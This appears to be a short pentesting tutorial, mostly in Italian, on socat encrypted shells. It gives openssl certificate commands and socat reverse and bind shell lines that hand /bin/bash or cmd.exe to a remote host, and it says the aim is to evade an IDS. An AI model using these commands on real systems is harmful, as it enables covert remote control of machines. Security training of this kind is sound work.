Tutorials

Socat encrypted shells

SOCAT ENCRYPTED SHELLS  Con socat è possibile anche la creazione di encrypted shells, utile per rendere non spiabile la shell, ed è usata anche per bypassare un IDS.

#exploitation

SOCAT ENCRYPTED SHELLS 

Con socat è possibile anche la creazione di encrypted shells, utile per rendere non spiabile la shell, ed è usata anche per bypassare un IDS.

Prima di tutto dobbiamo partire con il generare un certificato con questo comando:

shell
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

Questo comando crea a 2048 bit RSA key

We need to merge the two created files into a single .pem file:

shell
cat shell.key shell.crt > shell.pem

Ora che abbiamo il certificato, per creare una shell criptata, basterà sostituire il comando TCP della shell normale con il comando OPENSSL:

shell
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

Questo comando ci permette di creare una shell criptata con il certificato creato in precedenza.

REVERSE ENCRYPTED SHELLS:

on our machine:

shell
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

on the target machine:

bash
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

BIND ENCRYPTED SHELLS:

on our machine:

shell
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

on the target machine:

shell
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes